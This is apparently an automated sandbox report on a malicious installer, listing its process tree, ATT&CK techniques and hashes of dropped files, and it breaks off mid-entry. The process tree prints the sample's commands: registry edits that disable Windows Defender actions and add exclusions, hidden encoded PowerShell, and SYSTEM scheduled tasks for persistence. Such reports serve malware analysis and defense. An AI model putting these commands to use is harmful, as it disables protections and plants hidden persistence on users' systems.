powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4900

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:456

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3592

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4060

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:3312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:5076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:2916

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:3120

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:2548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4988

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:3748

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:3780

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2164

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3968

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4864

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:1892

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3028

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:4124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4268

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:1876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gUXCkMfuWzCyC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gUXCkMfuWzCyC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gcyASImYjZBU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gcyASImYjZBU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vCYWhmhlU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\vCYWhmhlU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yqOJJFIvHNUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yqOJJFIvHNUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QtEKgGNERTHTknVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\QtEKgGNERTHTknVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LzrOtnkAyuDpOCzW\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\LzrOtnkAyuDpOCzW\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2176

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4368

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:32
4⤵
PID:1360

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1956

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4816

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gUXCkMfuWzCyC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:312

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gcyASImYjZBU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4952

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\vCYWhmhlU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4296

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:5004

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yqOJJFIvHNUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3768

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QtEKgGNERTHTknVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:2664

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\QtEKgGNERTHTknVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3288

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS /t REG_DWORD /d 0 /reg:32
3⤵
PID:2376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS /t REG_DWORD /d 0 /reg:64
3⤵
PID:884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LzrOtnkAyuDpOCzW /t REG_DWORD /d 0 /reg:32
3⤵
PID:4076

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\LzrOtnkAyuDpOCzW /t REG_DWORD /d 0 /reg:64
3⤵
PID:4144

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glJnuQETb" /SC once /ST 01:54:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:3952

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glJnuQETb"
2⤵
PID:2876

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glJnuQETb"
2⤵
PID:4692

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ehnYTuGzyhWqfGFsn" /SC once /ST 01:01:56 /RU "SYSTEM" /TR "\"C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\sjqBRye.exe\" 4c /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2092

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ehnYTuGzyhWqfGFsn"
2⤵
PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4884

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:696

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:3892

C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\sjqBRye.exe
C:\Windows\Temp\LzrOtnkAyuDpOCzW\ASUEhtNmEGCZDbi\sjqBRye.exe 4c /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2920

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bPisEBnRwoxYOmuHrm"
2⤵
PID:3976

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:2040

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:4688

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:4596

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:3488

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\vCYWhmhlU\aYIgwo.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ulJHerdNyNJKzGw" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1080

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ulJHerdNyNJKzGw2" /F /xml "C:\Program Files (x86)\vCYWhmhlU\cKNcPFP.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4696

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "ulJHerdNyNJKzGw"
2⤵
PID:3956

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ulJHerdNyNJKzGw"
2⤵
PID:2928

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "RRtdPhcgeMAKnR" /F /xml "C:\Program Files (x86)\gcyASImYjZBU2\edqwfJC.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1876

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "DBZKNiGxmOsGA2" /F /xml "C:\ProgramData\QtEKgGNERTHTknVB\fJqoEho.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3516

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "tMaUGjMWirHLUJOBi2" /F /xml "C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\aqWNgMz.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1312

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "YgCwwruigbnUpvnuIqJ2" /F /xml "C:\Program Files (x86)\gUXCkMfuWzCyC\UCVQnQS.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\FHyUItRmbDQJtgsSWlR\aqWNgMz.xml

Filesize
2KB

MD5
bb71b317c0fe1d9321bcbbde8b9c1d72

SHA1
abe01e74e932a5a34b6b72ead29990f57feb18ad

SHA256
5d9f4652b0de3c4022793a7840438b4bb21f8cd3e90cbeec8ca2c981a65b763b

SHA512
b8f3c1b96e9ed33f3be35f0f56b720ace887da10c5d09da7d6d48e91e66e2999949700875451375fa5084924cbb22cd7c69d86b2359720df044518b7536ee841

Download Submit
C:\Program Files (x86)\gUXCkMfuWzCyC\UCVQnQS.xml

Filesize
2KB

MD5
3d1b4af6accde673bc5092f16b67c942

SHA1
020c23b5ea8a6ee5144744ccac924862a84efc21

SHA256
026fc365e37dd716ef58dce982f6be09823838cd7ef4b17507f321bbe70fef11

SHA512
81d8c4c6e1c21313d7c97025a9e47fe3c9a693d12b1018a578cb5bf3a161c64c396336cf142b6cfca8375d7cad765148679f6d71bc530192d5d400bd452d5a89

Download Submit
C:\Program Files (x86)\gcyASImYjZBU2\edqwfJC.xml

Filesize
2KB

MD5
2e031774ae1db42b7acf0074959badb7

SHA1
88292d5ebad5234eea9dedd30a9127102ba50e43

SHA256
2983f4d29d1a6200a545b51725936d731bb4002eb5fc172655cfb4af941ccb4b

SHA512
54906425c46dbe91330ca22d6fc3d5fb226b6c635290d8c401a8afd6fedf647d28538bad405325f3b042d928c996b90e88024594c0f3322515e552cef1877959

Download Submit
C:\Program Files (x86)\vCYWhmhlU\cKNcPFP.xml

Filesize
2KB

MD5
d5a383c2ab82e1006aa40ab5adc8bd04

SHA1
1412e691bd5d9db883ca46684920ae8ac4650940

SHA256
26374310563a354304083a909f602cbe5c2872b879cde07c6c65e42c817d2e39

SHA512
09c082282eb1e08a8bbd60c5258d0d757a29481de8523d19861df710c592fe4d110475222d21c5b161a5e46bff6b8e37e1ac79d6adfe278be3af923841ff3c4b

Download Submit
C:\ProgramData\QtEKgGNERTHTknVB\fJqoEho.xml

Filesize
2KB

MD5
1e6efa7fecdcc699cc1cd22be7ef238d

SHA1
8b3422723d53219cc4e51508375387cbebfac6e0

SHA256
dd7f492936889a00b7115c538c570e29bcc0fface4ffbdedc42e86f86be1c902

SHA512
21a05ad215be9c2245ceb0c003d329a3773c1d40a9303222a249d7ab8b1697d3003554f6c9ed2108bf98c8eaa52d4566c02c1168b6882cb9cb8355ae0b886832

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

Filesize
2KB

MD5
24cd57a8710ead89af77751cc4ce3236

SHA1
d66a76341ec9d1f53adc3caedfbc2a78e1055a30

SHA256
ca494d00a7aba63fc4cf7c49316bccee057616a26b917f9f12692b36b1f1dd91

SHA512
903577e4d3cd91d47dbd9f4f49c48236aef013c12ed36dc8a338c23845680b709af7e5272c21f036ea88c7b6ca10d090eb2cede1d836557d8ea37d071358223f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6CC8.tmp\Install.exe

Filesize
6.3MB

MD5
18ce7fdaf05a129eb44ab6b0de3747af

SHA1
6bff7be64279c8fceeb74290afb3a809edeea526

SHA256
4eeecc69f10300593407dba7db806bd73f0ab0991acb3fcb001b6237f841a151

SHA512
b0a281ca387f6fb1d9295287e9f64130bf203af0922271b2bb75bb8a48290c6dc447761df5a7919e8173506f10f15cc7fc0eac9f73be76ac597ca7a2b2ba1dca

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6CC8.tmp\Install.exe

Filesize
6.3MB

MD5
18ce7fdaf05a129eb44ab6b0de3747af

SHA1
6bff7be64279c8fceeb74290afb3a809edeea526

SHA256
4eeecc69f10300593407dba7db806bd73f0ab0991acb3fcb001b6237f841a151

SHA512
b0a281ca387f6fb1d9295287e9f64130bf203af0922271b2bb75bb8a48290c6dc447761df5a7919e8173506f10f15cc7fc0eac9f73be76ac597ca7a2b2ba1dca

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7479.tmp\Install.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7479.tmp\Install.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
